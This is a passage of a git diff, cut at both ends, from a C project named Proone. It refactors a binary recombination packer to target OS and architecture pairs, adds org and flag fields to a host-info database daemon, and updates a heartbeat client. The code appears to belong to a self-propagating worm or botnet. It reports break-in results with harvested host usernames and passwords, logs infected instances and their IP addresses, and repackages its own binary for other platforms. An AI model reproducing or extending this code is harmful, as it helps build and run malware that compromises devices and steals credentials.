ctx->buf_len += 4; - *nb_bin_loc += 1; + ctx->buf_len += 8; + nb_bin += 1; } for (size_t i = 0; i < ctx->ba->nb_bin; i += 1) { t = ctx->ba->bin + i; - if (t->arch == ctx->t->arch) { + if (prne_eq_bin_host(&t->host, &ctx->t->host)) { continue; } - ctx->buf[ctx->buf_len + 0] = (uint8_t)t->arch; - ctx->buf[ctx->buf_len + 1] = prne_getmsb32(t->size, 1); - ctx->buf[ctx->buf_len + 2] = prne_getmsb32(t->size, 2); - ctx->buf[ctx->buf_len + 3] = prne_getmsb32(t->size, 3); - ctx->buf_len += 4; - *nb_bin_loc += 1; + ctx->buf[ctx->buf_len + 0] = 0; + ctx->buf[ctx->buf_len + 1] = 0; + ctx->buf[ctx->buf_len + 2] = (uint8_t)t->host.os; + ctx->buf[ctx->buf_len + 3] = (uint8_t)t->host.arch; + ctx->buf[ctx->buf_len + 4] = 0; + ctx->buf[ctx->buf_len + 5] = prne_getmsb32(t->size, 1); + ctx->buf[ctx->buf_len + 6] = prne_getmsb32(t->size, 2); + ctx->buf[ctx->buf_len + 7] = prne_getmsb32(t->size, 3); + ctx->buf_len += 8; + nb_bin += 1; } + nb_bin_loc[0] = prne_getmsb16(nb_bin, 0); + nb_bin_loc[1] = prne_getmsb16(nb_bin, 1); ctx->seek = ctx->ofs; ctx->skip = ctx->t->size; ctx_p->read_f = pack_rcb_rpread_f; @@ -411,8 +443,8 @@ END: prne_pack_rc_t prne_start_bin_rcb ( prne_bin_rcb_ctx_t *ctx, - const prne_arch_t target, - const prne_arch_t self, + const prne_bin_host_t target, + const prne_bin_host_t *self, const uint8_t *m_self, const size_t self_len, const size_t exec_len, @@ -420,13 +452,13 @@ prne_pack_rc_t prne_start_bin_rcb ( const size_t dvault_len, const prne_bin_archive_t *ba) { - if (!prne_arch_inrange(target) || - (!prne_arch_inrange(self) && self != PRNE_ARCH_NONE)) + if (!prne_bin_host_inrange(&target) || + (self != NULL && !prne_bin_host_inrange(self))) { return PRNE_PACK_RC_INVAL; } - if (self == target) { + if (self != NULL && prne_eq_bin_host(self, &target)) { pack_rcb_pt_octx_t *ny_ctx = (pack_rcb_pt_octx_t*)prne_malloc(sizeof(pack_rcb_pt_octx_t), 1); @@ -452,7 +484,7 @@ prne_pack_rc_t prne_start_bin_rcb ( } for (size_t i = 0; i < ba->nb_bin; i += 1) { - if (ba->bin[i].arch == target) { + if (prne_eq_bin_host(&ba->bin[i].host, &target)) { t = &ba->bin[i]; break; } @@ -463,11 +495,10 @@ prne_pack_rc_t prne_start_bin_rcb ( } ny_ctx = - (pack_rcb_rb_octx_t*)prne_malloc(sizeof(pack_rcb_rb_octx_t), 1); + (pack_rcb_rb_octx_t*)prne_calloc(sizeof(pack_rcb_rb_octx_t), 1); if (ny_ctx == NULL) { return PRNE_PACK_RC_ERRNO; } - prne_memzero(ny_ctx, sizeof(pack_rcb_rb_octx_t)); if (inflateInit(&ny_ctx->z_old) != Z_OK || deflateInit(&ny_ctx->z_ny, PRNE_PACK_Z_LEVEL) != Z_OK) @@ -487,11 +518,11 @@ prne_pack_rc_t prne_start_bin_rcb ( ny_ctx->z_old.avail_in = ba->data_size; ny_ctx->z_old.next_in = (uint8_t*)ba->data; - if (self != PRNE_ARCH_NONE) { + if (self != NULL) { + ny_ctx->self = *self; ny_ctx->z_ny.avail_in = exec_len; ny_ctx->z_ny.next_in = (uint8_t*)m_self; } - ny_ctx->a_self = self; prne_free_bin_rcb_ctx(ctx); ctx->ctx_free_f = pack_rcb_free_rb_octx; @@ -504,17 +535,17 @@ prne_pack_rc_t prne_start_bin_rcb ( prne_pack_rc_t prne_start_bin_rcb_compat ( prne_bin_rcb_ctx_t *ctx, - const prne_arch_t target, - const prne_arch_t self, + const prne_bin_host_t target, + const prne_bin_host_t *self, const uint8_t *m_self, const size_t self_len, const size_t exec_len, const uint8_t *m_dvault, const size_t dvault_len, const prne_bin_archive_t *ba, - prne_arch_t *actual) + prne_bin_host_t *actual) { - prne_arch_t a = target; + prne_bin_host_t a = target; prne_pack_rc_t ret = prne_start_bin_rcb( ctx, target, @@ -530,19 +561,19 @@ prne_pack_rc_t prne_start_bin_rcb_compat ( if (ret != PRNE_PACK_RC_NO_ARCH) { goto END; } - f = prne_compat_arch(target); + f = prne_compat_arch(target.arch); if (f == NULL) { goto END; } for (; *f != PRNE_ARCH_NONE; f += 1) { - if (*f == target) { + if (*f == target.arch) { continue; } - a = *f; + a.arch = *f; ret = prne_start_bin_rcb( ctx, - *f, + a, self, m_self, self_len, @@ -556,9 +587,7 @@ prne_pack_rc_t prne_start_bin_rcb_compat ( } END: - if (actual != NULL) { - *actual = a; - } + prne_chk_assign(actual, a); return ret; } @@ -581,10 +610,24 @@ bool prne_index_nybin ( size_t *ba_len) { if (nybin_len < 8) { + errno = EPROTO; + return false; + } + if (memcmp( + m_nybin + 2, + PRNE_PACK_NYBIN_IDEN_DATA, + sizeof(PRNE_PACK_NYBIN_IDEN_DATA)) != 0) + { + errno = EPROTO; + return false; + } + if (m_nybin[7] != 0) { + errno = ENOSYS; return false; } *dv_len = prne_recmb_msb16(m_nybin[0], m_nybin[1]); if (8 + *dv_len > nybin_len) { + errno = EPROTO; return false; } *m_dv = m_nybin + 8; @@ -632,6 +675,7 @@ const char *prne_pack_rc_tostr (const prne_pack_rc_t prc) { case PRNE_PACK_RC_ERRNO: return "errno"; case PRNE_PACK_RC_Z_ERR: return "zlib error"; case PRNE_PACK_RC_NO_ARCH: return "no arch"; + case PRNE_PACK_RC_UNIMPL_REV: return "unimpl rev"; } errno = EINVAL; return NULL; @@ -7,6 +7,7 @@ #include <zlib.h> +typedef struct prne_bin_host prne_bin_host_t; typedef struct prne_bin_tuple prne_bin_tuple_t; typedef struct prne_bin_archive prne_bin_archive_t; typedef struct prne_bin_rcb_ctx prne_bin_rcb_ctx_t; @@ -20,13 +21,19 @@ typedef enum { PRNE_PACK_RC_ERRNO, PRNE_PACK_RC_Z_ERR, PRNE_PACK_RC_NO_ARCH, + PRNE_PACK_RC_UNIMPL_REV, NB_PRNE_PACK_RC } prne_pack_rc_t; +struct prne_bin_host { + prne_os_t os; + prne_arch_t arch; +}; + struct prne_bin_tuple { size_t size; - prne_arch_t arch; + prne_bin_host_t host; }; struct prne_bin_archive { @@ -55,9 +62,14 @@ struct prne_rcb_param { const uint8_t *m_dv; size_t dv_len; const prne_bin_archive_t *ba; - prne_arch_t self; + prne_bin_host_t self; }; +static const char PRNE_PACK_BA_IDEN_DATA[] = { 'p', 'r', '-', 'b', 'a' }; +static const char PRNE_PACK_NYBIN_IDEN_DATA[] = { 'n', 'y', 'b', 'i', 'n' }; + +bool prne_eq_bin_host (const prne_bin_host_t *a, const prne_bin_host_t *b); +bool prne_bin_host_inrange (const prne_bin_host_t *x); void prne_init_bin_archive (prne_bin_archive_t *a); void prne_free_bin_archive (prne_bin_archive_t *a); prne_pack_rc_t prne_index_bin_archive ( @@ -69,8 +81,8 @@ void prne_init_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx); void prne_free_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx); prne_pack_rc_t prne_start_bin_rcb ( prne_bin_rcb_ctx_t *ctx, - const prne_arch_t target, - const prne_arch_t self, + const prne_bin_host_t target, + const prne_bin_host_t *self, const uint8_t *m_self, const size_t self_len, const size_t exec_len, @@ -79,15 +91,15 @@ prne_pack_rc_t prne_start_bin_rcb ( const prne_bin_archive_t *ba); prne_pack_rc_t prne_start_bin_rcb_compat ( prne_bin_rcb_ctx_t *ctx, - const prne_arch_t target, - const prne_arch_t self, + const prne_bin_host_t target, + const prne_bin_host_t *self, const uint8_t *m_self, const size_t self_len, const size_t exec_len, const uint8_t *m_dvault, const size_t dvault_len, const prne_bin_archive_t *ba, - prne_arch_t *actual); + prne_bin_host_t *actual); ssize_t prne_bin_rcb_read ( prne_bin_rcb_ctx_t *ctx, uint8_t *buf, diff --git a/src/proone-bne.c b/src/proone-bne.c index 2c85adc..26d0587 100644 --- a/src/proone-bne.c +++ b/src/proone-bne.c @@ -134,7 +134,7 @@ static void report_result (const prne_bne_result_t *r) { vec_str, r->ny_instance ? "true" : "false"); if (r->vec >= 0) { - const char *arch_str = prne_arch_tostr(r->arch); + const char *arch_str; if (r->cred.id != NULL) { printf( @@ -145,8 +145,13 @@ static void report_result (const prne_bne_result_t *r) { r->cred.pw); } printf("\tprc: %d\n", r->prc); + arch_str = prne_arch_tostr(r->bin_host.arch); if (arch_str != NULL) { - printf("\tarch: %s\n", arch_str); + printf("\thost arch: %s\n", arch_str); + } + arch_str = prne_arch_tostr(r->bin_used.arch); + if (arch_str != NULL) { + printf("\tbin arch: %s\n", arch_str); } } } diff --git a/src/proone-hostinfod.c b/src/proone-hostinfod.c index 7b290fc..e5f45e6 100644 --- a/src/proone-hostinfod.c +++ b/src/proone-hostinfod.c @@ -689,7 +689,7 @@ static int build_hostinfo_query_str ( const struct sockaddr_in6 *sa, const char *cred_id, const char *cred_pw, - const char *arch, + const char *flags, char *const buf, const size_t size) { @@ -699,6 +699,8 @@ static int build_hostinfo_query_str ( "SET\n" "\t@`instance_id` = UNHEX('" "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X'),\n" + "\t@`org_id` = UNHEX('" + "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X'),\n" "\t@`parent_uptime` = %"PRIu64",\n" "\t@`child_uptime` = %"PRIu64",\n" "\t@`bne_cnt` = %"PRIu64",\n" @@ -712,12 +714,15 @@ static int build_hostinfo_query_str ( "\t@`cred_id` = %s,\n" "\t@`cred_pw` = %s,\n" "\t@`crash_cnt` = %"PRIu32",\n" - "\t@`arch` = %s,\n" + "\t@`arch` = %d,\n" + "\t@`os` = %d,\n" + "\t@`flags` = %s,\n" "\t@`ipaddr` = UNHEX('" "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X');\n" "INSERT INTO `%shi`\n" "SET\n" "\t`instance_id` = @`instance_id`,\n" + "\t`org_id` = @`org_id`,\n" "\t`inserted` = UTC_TIMESTAMP,\n" "\t`updated` = UTC_TIMESTAMP,\n" "\t`parent_uptime` = @`parent_uptime`,\n" @@ -732,6 +737,8 @@ static int build_hostinfo_query_str ( "\t`cred_pw` = @`cred_pw`,\n" "\t`crash_cnt` = @`crash_cnt`,\n" "\t`arch` = @`arch`,\n" + "\t`os` = @`os`,\n" + "\t`flags` = @`flags`,\n" "\t`ipaddr` = @`ipaddr`\n" "ON DUPLICATE KEY UPDATE\n" "\t`updated` = UTC_TIMESTAMP,\n" @@ -759,6 +766,22 @@ static int build_hostinfo_query_str ( hi->instance_id[13], hi->instance_id[14], hi->instance_id[15], + hi->org_id[0], + hi->org_id[1], + hi->org_id[2], + hi->org_id[3], + hi->org_id[4], + hi->org_id[5], + hi->org_id[6], + hi->org_id[7], + hi->org_id[8], + hi->org_id[9], + hi->org_id[10], + hi->org_id[11], + hi->org_id[12], + hi->org_id[13], + hi->org_id[14], + hi->org_id[15], hi->parent_uptime, hi->child_uptime, hi->bne_cnt, @@ -800,7 +823,9 @@ static int build_hostinfo_query_str ( cred_id, cred_pw, hi->crash_cnt, - arch, + hi->arch, + hi->os, + flags, ((const uint8_t*)&sa->sin6_addr)[0], ((const uint8_t*)&sa->sin6_addr)[1], ((const uint8_t*)&sa->sin6_addr)[2], @@ -833,12 +858,11 @@ static bool handle_db_qe ( struct { char *cred_id; char *cred_pw; - char *arch; + char *flags; } qv; char *q_str = NULL; size_t q_len = 0; prne_host_cred_t hc; - const char *arch_str; int f_ret; bool ret = false, sql_err = true; @@ -893,15 +917,27 @@ static bool handle_db_qe ( } } - arch_str = prne_arch_tostr(e->hi.arch); - if (arch_str != NULL) { - const char *sb[] = { "'", arch_str, "'" }; - qv.arch = prne_build_str(sb, sizeof(sb)/sizeof(const char*)); + if (e->hi.bf_len > 0) { + char *hex, *p; + const char *sb[] = { "UNHEX('", NULL, "')" }; + + p = hex = prne_alloc_str(e->hi.bf_len * 2); + if (hex == NULL) { + goto END; + } + for (size_t i = 0; i < e->hi.bf_len; i += 1) { + prne_hex_tochar(e->hi.bf[i], p, false); + p += 2; + } + *p = 0; + + sb[1] = hex; + qv.flags = prne_build_str(sb, sizeof(sb)/sizeof(const char*)); } else { - qv.arch = prne_dup_str("NULL"); + qv.flags = prne_dup_str("NULL"); } - if (qv.arch == NULL) { + if (qv.flags == NULL) { goto END; } @@ -934,10 +970,12 @@ static bool handle_db_qe ( "prog_ver = %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X, " "boot_id = %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X, " "instance_id = %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X, " + "org_id = %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X, " "host_cred.id = %s, " "host_cred.pw = %s, " "crash_cnt = %"PRIu32", " - "arch = '%s')\n", + "arch = %d, " + "os = %d)\n", (uintptr_t)ctx, e->hi.parent_uptime, e->hi.child_uptime, @@ -993,10 +1031,27 @@ static bool handle_db_qe ( e->hi.instance_id[13], e->hi.instance_id[14], e->hi.instance_id[15], + e->hi.org_id[0], + e->hi.org_id[1], + e->hi.org_id[2], + e->hi.org_id[3], + e->hi.org_id[4], + e->hi.org_id[5], + e->hi.org_id[6], + e->hi.org_id[7], + e->hi.org_id[8], + e->hi.org_id[9], + e->hi.org_id[10], + e->hi.org_id[11], + e->hi.org_id[12], + e->hi.org_id[13], + e->hi.org_id[14], + e->hi.org_id[15], pr[0], pr[1], e->hi.crash_cnt, - qv.arch); + e->hi.arch, + e->hi.os); pthread_mutex_unlock(&prog_g.stdio_lock); } @@ -1005,7 +1060,7 @@ static bool handle_db_qe ( &e->sa, qv.cred_id, qv.cred_pw, - qv.arch, + qv.flags, NULL, 0); if (f_ret < 0) { @@ -1021,7 +1076,7 @@ static bool handle_db_qe ( &e->sa, qv.cred_id, qv.cred_pw, - qv.arch, + qv.flags, q_str, q_len + 1); if (prog_conf.verbose >= PRNE_VL_DBG0 + 2) { @@ -1054,7 +1109,7 @@ END: // CATCH prne_free_host_cred(&hc); prne_free(qv.cred_id); prne_free(qv.cred_pw); - prne_free(qv.arch); + prne_free(qv.flags); prne_free(q_str); return ret; diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c index af6ae82..541aae0 100644 --- a/src/proone-htbtclient.c +++ b/src/proone-htbtclient.c @@ -33,6 +33,7 @@ #include "mbedtls.h" #include "config.h" #include "iobuf.h" +#include "bitfield.h" #define STRINGIFY(x) #x #define STRINGIFY_X(x) STRINGIFY(x) @@ -209,8 +210,8 @@ struct { union { struct { int fd; - prne_arch_t arch_host; - prne_arch_t arch_rcb; + prne_bin_host_t target; + prne_bin_host_t actual; bool has_status; prne_iobuf_t ib; prne_htbt_status_t st; @@ -369,6 +370,8 @@ static void init_rcb_conf (void) { prne_htbt_init_rcb(&prog_conf.cmd_param.rcb.rcb); prog_conf.cmd_param.rcb.out_path = prne_dup_str("-"); prog_conf.cmd_param.rcb.rcb.compat = true; + prog_conf.cmd_param.rcb.rcb.self = true; + prog_conf.cmd_param.rcb.rcb.os = PRNE_OS_LINUX; prog_conf.free_cmdparam_f = free_rcb_conf; } @@ -689,6 +692,7 @@ static int parse_args_rcb (const int argc, char *const *args) { co = (const struct option*)lopts + li; if (strcmp("arch", co->name) == 0) { prog_conf.cmd_param.rcb.rcb.arch = prne_arch_fstr(optarg); + prog_conf.cmd_param.rcb.rcb.self = false; if (prog_conf.cmd_param.rcb.rcb.arch == PRNE_ARCH_NONE) { perror(optarg); return 2; @@ -1524,10 +1528,52 @@ static void emit_preemble ( emit_mapping_end(); } +static void emit_hostinfo_iflags ( + void *ctx, + const unsigned int bit, + const bool v) +{ + const char *enumstr; + + if (!v) { + return; + } + + enumstr = prne_iflag_tostr(bit); + if (enumstr) { + emit_scalar(YAML_STR_TAG, enumstr); + } + else { + emit_scalar_fmt(YAML_STR_TAG, "#%u", bit); + } +} + +static void emit_uuid (const uint8_t *uuid) { + emit_scalar_fmt( + YAML_STR_TAG, + "%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", + uuid[0], + uuid[1], + uuid[2], + uuid[3], + uuid[4], + uuid[5], + uuid[6], + uuid[7], + uuid[8], + uuid[9], + uuid[10], + uuid[11], + uuid[12], + uuid[13], + uuid[14], + uuid[15]); +} + static void emit_hostinfo_frame (const prne_htbt_host_info_t *hi) { prne_host_cred_t hc; prne_htbt_ser_rc_t rc; - const char *archstr; + const char *enumstr; prne_init_host_cred(&hc); emit_scalar(YAML_STR_TAG, BODY_TAG_NAME); @@ -1546,65 +1592,13 @@ static void emit_hostinfo_frame (const prne_htbt_host_info_t *hi) { emit_scalar(YAML_STR_TAG, "child_pid"); emit_scalar_fmt(YAML_INT_TAG, "%"PRIu32, hi->child_pid); emit_scalar(YAML_STR_TAG, "prog_ver"); - emit_scalar_fmt( - YAML_STR_TAG, - "%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", - hi->prog_ver[0], - hi->prog_ver[1], - hi->prog_ver[2], - hi->prog_ver[3], - hi->prog_ver[4], - hi->prog_ver[5], - hi->prog_ver[6], - hi->prog_ver[7], - hi->prog_ver[8], - hi->prog_ver[9], - hi->prog_ver[10], - hi->prog_ver[11], - hi->prog_ver[12], - hi->prog_ver[13], - hi->prog_ver[14], - hi->prog_ver[15]); + emit_uuid(hi->prog_ver); emit_scalar(YAML_STR_TAG, "boot_id"); - emit_scalar_fmt( - YAML_STR_TAG, - "%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", - hi->boot_id[0], - hi->boot_id[1], - hi->boot_id[2], - hi->boot_id[3], - hi->boot_id[4], - hi->boot_id[5], - hi->boot_id[6], - hi->boot_id[7], - hi->boot_id[8], - hi->boot_id[9], - hi->boot_id[10], - hi->boot_id[11], - hi->boot_id[12], - hi->boot_id[13], - hi->boot_id[14], - hi->boot_id[15]); + emit_uuid(hi->boot_id); emit_scalar(YAML_STR_TAG, "instance_id"); - emit_scalar_fmt( - YAML_STR_TAG, - "%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", - hi->instance_id[0], - hi->instance_id[1], - hi->instance_id[2], - hi->instance_id[3], - hi->instance_id[4], - hi->instance_id[5], - hi->instance_id[6], - hi->instance_id[7], - hi->instance_id[8], - hi->instance_id[9], - hi->instance_id[10], - hi->instance_id[11], - hi->instance_id[12], - hi->instance_id[13], - hi->instance_id[14], - hi->instance_id[15]); + emit_uuid(hi->instance_id); + emit_scalar(YAML_STR_TAG, "org_id"); + emit_uuid(hi->org_id); if (hi->host_cred_len > 0) { rc = prne_dec_host_cred(hi->host_cred, hi->host_cred_len, &hc); @@ -1647,13 +1641,26 @@ static void emit_hostinfo_frame (const prne_htbt_host_info_t *hi) { emit_scalar(YAML_STR_TAG, "crash_cnt"); emit_scalar_fmt(YAML_INT_TAG, "%"PRIu32, hi->crash_cnt); + emit_scalar(YAML_STR_TAG, "os"); + emit_scalar_fmt(YAML_INT_TAG, "%"PRIu32, hi->os); + enumstr = prne_os_tostr(hi->os); + if (enumstr != NULL) { + emit_scalar(YAML_STR_TAG, "osstr"); + emit_scalar(YAML_STR_TAG, enumstr); + } emit_scalar(YAML_STR_TAG, "arch"); emit_scalar_fmt(YAML_INT_TAG, "%"PRIu32, hi->arch); - archstr = prne_arch_tostr(hi->arch); - if (archstr != NULL) { + enumstr = prne_arch_tostr(hi->arch); + if (enumstr != NULL) { emit_scalar(YAML_STR_TAG, "archstr"); - emit_scalar(YAML_STR_TAG, archstr); + emit_scalar(YAML_STR_TAG, enumstr); } + + emit_scalar(YAML_STR_TAG, "flags"); + emit_seq_start(); + prne_bf_foreach(NULL, hi->bf, hi->bf_len, emit_hostinfo_iflags); + emit_seq_end(); + emit_mapping_end(); prne_free_host_cred(&hc); @@ -2146,6 +2153,15 @@ static int cmdmain_run (void) { return 1; } +static void emit_bin_host (const prne_bin_host_t *bh) { + emit_mapping_start(); + emit_scalar(YAML_STR_TAG, "os"); + emit_scalar(YAML_STR_TAG, prne_os_tostr(bh->os)); + emit_scalar(YAML_STR_TAG, "arch"); + emit_scalar(YAML_STR_TAG, prne_arch_tostr(bh->arch)); + emit_mapping_end(); +} + static void emit_upbin_opts (void) { emit_scalar(YAML_STR_TAG, PREEMBLE_OPT_TAG_NAME); @@ -2155,10 +2171,10 @@ static void emit_upbin_opts (void) { emit_scalar(YAML_STR_TAG, "nybin"); emit_scalar(YAML_STR_TAG, "compat"); emit_bool_scalar(prog_conf.cmd_param.run.compat); - emit_scalar(YAML_STR_TAG, "arch_host"); - emit_scalar(YAML_STR_TAG, prne_arch_tostr(prog_g.cmd_st.run.arch_host)); - emit_scalar(YAML_STR_TAG, "arch_rcb"); - emit_scalar(YAML_STR_TAG, prne_arch_tostr(prog_g.cmd_st.run.arch_rcb)); + emit_scalar(YAML_STR_TAG, "target"); + emit_bin_host(&prog_g.cmd_st.run.target); + emit_scalar(YAML_STR_TAG, "actual"); + emit_bin_host(&prog_g.cmd_st.run.actual); } else { emit_scalar(YAML_STR_TAG, "exec"); @@ -2260,34 +2276,37 @@ static bool upbin_do_rcb (void) { } prc = prne_start_bin_rcb_compat( &rcb, - prog_g.cmd_st.run.arch_host, - PRNE_ARCH_NONE, + prog_g.cmd_st.run.target, + NULL, NULL, 0, 0, m_dv, dv_len, &ba, - &prog_g.cmd_st.run.arch_rcb); + &prog_g.cmd_st.run.actual); if (prc != PRNE_PACK_RC_OK) { pprc(prc, "prne_start_bin_rcb()", NULL); goto END; } - if (prog_g.cmd_st.run.arch_host != prog_g.cmd_st.run.arch_rcb) { + if (!prne_eq_bin_host( + &prog_g.cmd_st.run.target, + &prog_g.cmd_st.run.actual)) + { if (!prog_conf.cmd_param.run.compat) { fprintf( stderr, "Compatible arch %s for target %s: not allowed\n", - prne_arch_tostr(prog_g.cmd_st.run.arch_rcb), - prne_arch_tostr(prog_g.cmd_st.run.arch_host)); + prne_arch_tostr(prog_g.cmd_st.run.actual.arch), + prne_arch_tostr(prog_g.cmd_st.run.target.arch)); goto END; } if (prog_conf.prne_vl >= PRNE_VL_WARN) { fprintf( stderr, "Using compatible arch %s for target %s.\n", - prne_arch_tostr(prog_g.cmd_st.run.arch_rcb), - prne_arch_tostr(prog_g.cmd_st.run.arch_host)); + prne_arch_tostr(prog_g.cmd_st.run.actual.arch), + prne_arch_tostr(prog_g.cmd_st.run.target.arch)); } } @@ -2361,11 +2380,12 @@ static bool query_arch (void) { pstatus(&prog_g.cmd_st.run.st, "Querying hostinfo"); goto END; } - if (!prne_arch_inrange(hi.arch)) { - fprintf(stderr, "Arch out of range: %d\n", hi.arch); + prog_g.cmd_st.run.target.os = hi.os; + prog_g.cmd_st.run.target.arch = hi.arch; + if (!prne_bin_host_inrange(&prog_g.cmd_st.run.target)) { + fprintf(stderr, "Out of range: os=%d arch=%d\n", hi.os, hi.arch); goto END; } - prog_g.cmd_st.run.arch_host = hi.arch; ret = true; END: diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index 86aadd7..b34fdf5 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -15,6 +15,7 @@ #include "htbt.h" #include "config.h" #include "mbedtls.h" +#include "bitfield.h" #include "proone_conf/x509.h" #include <mbedtls/entropy.h> @@ -101,15 +102,22 @@ static bool cb_hostinfo (void *ctx, prne_htbt_host_info_t *out) { "FIXME"); memcpy(out->instance_id, instance_id, sizeof(instance_id)); - if (prne_htbt_alloc_host_info(out, hostcred_len)) { + if (prne_htbt_alloc_host_info( + out, + hostcred_len, + prne_bf_get_size(NB_PRNE_IFLAG))) + { memcpy(out->host_cred, hostcred, hostcred_len); + prne_bf_set(out->bf, PRNE_IFLAG_WKR_HTBT, true); + // TODO: set PRNE_FLAG_BA } else { return false; } out->crash_cnt = 0; - out->arch = prne_host_arch; + out->arch = PRNE_HOST_ARCH; + out->os = PRNE_HOST_OS; return true; } diff --git a/src/proone-mkcdict.c b/src/proone-mkcdict.c index af1a250..44c6c31 100644 --- a/src/proone-mkcdict.c +++ b/src/proone-mkcdict.c @@ -6,6 +6,7 @@ #include <unistd.h> #include <fcntl.h> +#include "config.h" #include "cred_dict.h" #include "util_rt.h" #include "llist.h" diff --git a/src/proone-pack.c b/src/proone-pack.c index 81699c1..ad2a75c 100644 --- a/src/proone-pack.c +++ b/src/proone-pack.c @@ -9,6 +9,7 @@ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> +#include <regex.h> #include <zlib.h> @@ -24,14 +25,14 @@ typedef struct { - prne_arch_t arch; + prne_bin_host_t host; const char *path; struct stat st; uint8_t *m_exec; } archive_tuple_t; -const archive_tuple_t *encounter_arr[NB_PRNE_ARCH]; -archive_tuple_t archive_arr[NB_PRNE_ARCH]; +const archive_tuple_t *encounter_arr[NB_PRNE_OS][NB_PRNE_ARCH]; +archive_tuple_t archive_arr[NB_PRNE_OS * NB_PRNE_ARCH]; size_t archive_arr_cnt; uint8_t *m_dv; size_t dv_len; @@ -138,17 +139,17 @@ static void do_test ( len - ofs_ba, &ba) == PRNE_PACK_RC_OK); - fprintf(stderr, "%s\t\t", prne_arch_tostr(t->arch)); + fprintf(stderr, "%s\t\t", prne_arch_tostr(t->host.arch)); for (size_t i = 0; i < ba.nb_bin; i += 1) { - fprintf(stderr, "%s\t", prne_arch_tostr(ba.bin[i].arch)); + fprintf(stderr, "%s\t", prne_arch_tostr(ba.bin[i].host.arch)); } fprintf(stderr, "\n"); for (size_t i = 0; i < archive_arr_cnt; i += 1) { prne_assert(prne_start_bin_rcb( &ctx, - archive_arr[i].arch, - t->arch, + archive_arr[i].host, + &t->host, m, len, t->st.st_size, @@ -157,7 +158,7 @@ static void do_test ( &ba) == PRNE_PACK_RC_OK); out_len = do_read(&m_out, &out_size, &ctx); - if (archive_arr[i].arch == t->arch) { + if (prne_eq_bin_host(&archive_arr[i].host, &t->host)) { prne_assert(out_len == len && memcmp(m_out, m, len) == 0); } else { @@ -179,11 +180,10 @@ static bool do_nybin (const char *path, int *fd) { prne_memzero(head, sizeof(head)); head[0] = prne_getmsb16(dv_len, 0); head[1] = prne_getmsb16(dv_len, 1); - head[2] = 'n'; - head[3] = 'y'; - head[4] = 'b'; - head[5] = 'i'; - head[6] = 'n'; + memcpy( + head + 2, + PRNE_PACK_NYBIN_IDEN_DATA, + sizeof(PRNE_PACK_NYBIN_IDEN_DATA)); head[7] = 0; *fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0755); @@ -220,7 +220,7 @@ static bool do_rcb (const char *prefix) { int fd = -1; char *out_path = NULL; const size_t prefix_len = strlen(prefix); - const char *arch_str; + const char *arch_str, *os_str; prne_init_bin_rcb_ctx(&ctx); prne_init_bin_archive(&ba); @@ -242,13 +242,14 @@ static bool do_rcb (const char *prefix) { fd = -1; for (size_t i = 0; i < archive_arr_cnt; i += 1) { - arch_str = prne_arch_tostr(archive_arr[i].arch); - prne_assert(arch_str != NULL); + os_str = prne_os_tostr(archive_arr[i].host.os); + arch_str = prne_arch_tostr(archive_arr[i].host.arch); + prne_assert(arch_str != NULL && os_str != NULL); prc = prne_start_bin_rcb( &ctx, - archive_arr[i].arch, - PRNE_ARCH_NONE, + archive_arr[i].host, + NULL, NULL, 0, 0, @@ -288,17 +289,31 @@ END: return ret; } +static char *extmatch (char *ostr, const char *haystack, const regmatch_t *rm) { + const size_t l = rm->rm_eo - rm->rm_so; + char *ret = prne_realloc(ostr, 1, l + 1); + + strncpy(ret, haystack + rm->rm_so, l); + ret[l] = 0; + + return ret; +} + int main (const int argc, const char **args) { size_t i; archive_tuple_t *archive; - const char *path, *ext; + const char *path; const char *o_prefix; + char *str_os = NULL, *str_arch = NULL; bool proc_result = true; prne_arch_t arch; + prne_os_t os; int bin_fd = -1; - int z_ret, ret = 0; + int z_ret, f_ret, ret = 0; z_stream zs; size_t out_len; + regex_t re; + regmatch_t rm[3]; PAGESIZE = prne_getpagesize(); @@ -308,6 +323,16 @@ int main (const int argc, const char **args) { abort(); } + // .*\.([a-z0-9_\-]+)\.([a-z0-9_\-]+)$ + f_ret = regcomp( + &re, + ".*\\.([a-z0-9_\\-]+)\\.([a-z0-9_\\-]+)$", + REG_EXTENDED | REG_ICASE); + if (f_ret != 0) { + fprintf(stderr, "*** regcomp() returned %d\n", f_ret); + abort(); + } + if (argc < 3) { fprintf( stderr, @@ -328,37 +353,49 @@ int main (const int argc, const char **args) { for (i = 3; i < (size_t)argc; i += 1) { struct stat st; - if (archive_arr_cnt >= NB_PRNE_ARCH) { + if (archive_arr_cnt >= NB_PRNE_OS * NB_PRNE_ARCH) { fprintf( stderr, "** Too many files given (%d > %d).\n", argc - 1, - NB_PRNE_ARCH); + NB_PRNE_OS * NB_PRNE_ARCH); ret = 2; goto END; } path = args[i]; - ext = strrchr(path, '.'); - if (ext == NULL) { - fprintf(stderr, "** %s: file extension not found\n", path); + f_ret = regexec(&re, path, 3, rm, 0); + switch (f_ret) { + case 0: break; + case REG_NOMATCH: + fprintf(stderr, "** %s: invalid suffix\n", path); proc_result = false; continue; + default: + fprintf(stderr, "*** regexec() returned %d\n", f_ret); + abort(); } - ext += 1; + str_os = extmatch(str_os, path, rm + 1); + str_arch = extmatch(str_arch, path, rm + 2); - arch = 